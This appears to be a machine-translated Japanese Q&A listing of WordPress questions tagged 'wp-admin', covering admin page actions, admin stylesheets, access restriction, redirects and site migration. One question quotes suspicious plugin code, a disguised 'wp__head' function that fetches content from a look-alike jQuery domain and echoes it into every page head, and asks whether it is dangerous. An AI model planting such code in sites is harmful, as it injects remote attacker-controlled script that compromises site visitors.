タグ付けされた質問 「wp-admin」

WordPressサイトの `wp-admin`ディレクトリにあるサイト管理用ツール。


3
カスタムプラグインページアクションを最適に処理するにはどうすればよいですか?
私は常に同じ悩みにぶつかっていますので、アイデアや経験があるかどうか見てみたいと思いました... 独自の管理ページを使用するプラグインを作成しました。しなければなりません。WP_List_Table()を整理したので、それは素晴らしいと言わざるを得ません...しかし.... カスタムプラグインページadmin.php?page=...は、プラグインディレクトリから直接ロードする場合を除き、常にロードされますが、そうではありません。そのページから「アクション」を実行する場合、どういうわけかそれを処理してから、アクションパラメーターなしでページにリダイレクトする必要があります。GETまたはPOSTを実行しても、実際には関係ありません。 内部ページすべてで、WPは同じページでこれを行い、アクションがあるかどうかを確認し、アクションがある場合はそれを処理し、アクションなしで自分自身にリダイレクトします。これらのページでadmin-headerはまだロードされていないため、これは可能です。 ただし、自分のページで実行しようとすると、管理インターフェイスの半分が既にブラウザに送信されているため、リダイレクトはもうできません。明らかに、解決策は、別のページに直接POST / GETし、その上にWPフレームワークをロードし、処理を行ってから元のページにリダイレクトすることですが...しかし...それは少し面倒です...ページはコールバック経由でロードされるため、クラスのメソッド内で実行されます。美しいです。 別のページを読み込むと、手動でwp-load.phpクラスの外に追加する必要があり、クラスの外にいますが、これは迷惑であり、特にバグがあります。これは、プラグインクラスを匿名でインスタンス化するだけで誰にもアクセスできないためです外部から。 それで、この長い話の後に...だれかが管理インターフェイス全体を既にセットアップせずに、コールバックを介して別のページを読み込むための良い解決策を思いつきましたか? (回避策を知っています... load-....アクションパラメーターをチェックし、処理とリダイレクトを行う関数にフックすることができます。しかし、もっと良い方法があるかどうか疑問に思っています。) ありがとう。


2
カスタムスタイルシートをwp-adminに追加する
WP-ADMINエリアでカスタムスタイルシートを動作させるのに問題があります。 plugins_url('style.css', __FILE__) );cssという名前のプラグインにフォルダーを作成する必要がありますか.css、wp-admin/cssそれともディレクトリにコピーするだけですか? 両方試してみたが、うまくいかないようだ。 そして、どの値に置き換える必要があり__FILE__ますか? ごめんなさい、これらのものにはちょっと新しい。 /*ADDS STYLESHEET ON WP-ADMIN*/ add_action( 'admin_enqueue_scripts', 'safely_add_stylesheet_to_admin' ); function safely_add_stylesheet_to_admin() { wp_enqueue_style( 'prefix-style', plugins_url('style.css', __FILE__) ); } /*ADDS MY CUSTOM NAVIGATION BAR ON WP-ADMIN*/ add_action('admin_head', 'custom_nav'); function custom_nav(){ include('custom_nav.html'); }
21 wp-admin  css 

8
ダッシュボードへのアクセスを管理者のみに制限する方法は?
WP管理領域へのアクセスを管理者以外のすべてのユーザーに制限するにはどうすればよいですか? このサイトのユーザーは、必要なすべての機能を実行する独自のプロファイルページを持っています。 そのため、管理者は、管理者以外のすべてのユーザーに対して立ち入り禁止にする必要があります。 どうやってするか?
19 wp-admin  users 

9
言語を変更できません(「英語(米国)」のみ)
Wordpressは、いつでも言語を変更できるようにします。ただし、「英語(米国)」しか選択できない状況に陥る場合があります。 (設定>一般設定>サイト言語) 私が期待するもの: 私が得るもの: 何故ですか?どうすれば修正できますか?


2
プラグインでこれを見つけました。それは何をするためのものか?それは危険ですか?
プラグインでこれを見つけました。それは何をするためのものか?それは危険ですか? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }


3
管理ページのリダイレクト
ユーザーが別の管理ページにアクセスした場合、管理ページにリダイレクトできますか? たとえば、ユーザーが「すべてのページ」をヒットした場合 /wp-admin/edit.php?post_type=page 「新しいページを追加」にリダイレクトされます /wp-admin/post-new.php?post_type=page


5
WPサイトを移動するときに、wp-adminが古いサイトにリダイレクトするのはなぜですか?
私はWPサイトをあるホストから別のホストに移動する過程にあります。データベースとすべてのファイルをコピーし、新しいデータベースを作成して、古いデータベースをインポートしました。次に、wp-configファイルを変更しました。ホームページは正常に表示されますが、/ wp-adminにアクセスしようとすると、古いサイトに戻ります。 新しいサイトは開発サーバーで、サイトを公開する前にスタイルを変更する予定です。 この移行について何が欠けていますか?サイトがdev URLに正しく応答するようにするにはどうすればよいですか?

7
Adminで外部スクリプトを読み込みますが、特定の投稿タイプのみを読み込みますか?
したがって、私はこの問題に引き続き取り組み、この問題を解決するための最良かつ最も簡単なソリューションを探しています。 私は多くの異なるプロジェクトでカスタム投稿タイプを利用するようになり、jQueryイベントカレンダーセレクターなどのカスタムスクリプトを追加することでさらに拡張したカスタムメタボックスでこれらを拡張しました。 ...これらのカスタムjQueryスクリプトを管理者のすべてのページにロードしたくない。 基本的に、特定の投稿タイプの「投稿の編集」ページにいるときに、これらのカスタムjqueryフィールドをロードする方法を探しています。 ここで最善の解決策は何ですか? 更新1 まず第一に、どうもありがとうございました。 プラグイン開発者がこのようなことを確認していないことに実際にショックを受けています。これは、さまざまなプラグインに問題が存在する主な理由の1つだからです。 私はこれでいくつかのさらなる問題を抱えています。例えば... 次のようなifステートメントを呼び出すようにスクリプトを変更しました。 if (is_admin() && $pagenow=='post-new.php' OR $pagenow=='post.php' && $typenow=='events') ご覧のように、「イベント」の投稿タイプ内で投稿を追加または編集するときにのみスクリプトが呼び出されるように設定しようとしています。 スクリプトを他のページにロードしたくないし、「イベント」の投稿タイプ内のページのリストで実行したくないので、ifステートメントが正しいと思います。 ただし、問題は、この投稿タイプ内で新しい投稿を作成するときにのみスクリプトが読み込まれるように見えるが、既存の投稿を編集しているときは動作しないようです。 これをテストして、間違っている可能性があることを教えてください。 ここに私が使用している正確なコードがあります...これを行うためのより良いまたは簡単な方法がありますか? <?php // INCLUDE METABOX CUSTOM JQUERY DATEPICKER 2 add_action('admin_init','load_admin_datapicker_script'); function load_admin_datapicker_script() { global $pagenow, $typenow; if (is_admin() && $pagenow=='post-new.php' OR $pagenow=='post.php' && $typenow=='events') { $ss_url = get_bloginfo('stylesheet_directory'); …

4
投稿の保存/更新時に管理者通知を追加する方法
post_saveを使用してpost-metaからアドレスを取得し、Google APIから緯度/経度の座標を取得する投稿タイプがあります。座標の取得に問題があった場合、ユーザーに通知する方法が必要です。admin_noticesを使用しようとしましたが、何も表示されませんでした。 public static function update_notice() { echo "<div class='error'><p>Failed to retrieve coordinates. Please check key and address.<p></div>"; remove_action('admin_notices', 'update_notice'); } add_action('admin_notices', array('GeoPost', 'update_notice')); 間違って使用しているか、間違ったコンテキストで使用しているかはわかりません。明確にするために、実際のコードでは、add_actionは同じクラスの別の関数にあります。それはうまく機能しています。

4
「Post Lock / Edit Lock」を無効にする方法は?
これを無効にするのは、1つの投稿タイプに対してだけです。他のユーザーが編集している場合、それは実際には問題になりません(メインのコンテンツ編集エリアはAjaxifiedであり、管理者以外はそれしか見ることができません) コア機能を調べましたが、エントリポイントが見つかりませんでした。関数から、wp_set_post_lockを傍受する必要があると推測してget_post_metaいますが、それを行う公式の方法はありますか? そして、フィルターの影響を受けていないように見える2番目のロックがありますwp_check_post_lock_window(これは回答のbirgireで示されています)。私はremove_filter( 'heartbeat_received', 'wp_refresh_post_lock', 10, 3 );いろいろなポイントで試しましたが、それは尊重せずに暴行し続けますremove_filter。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.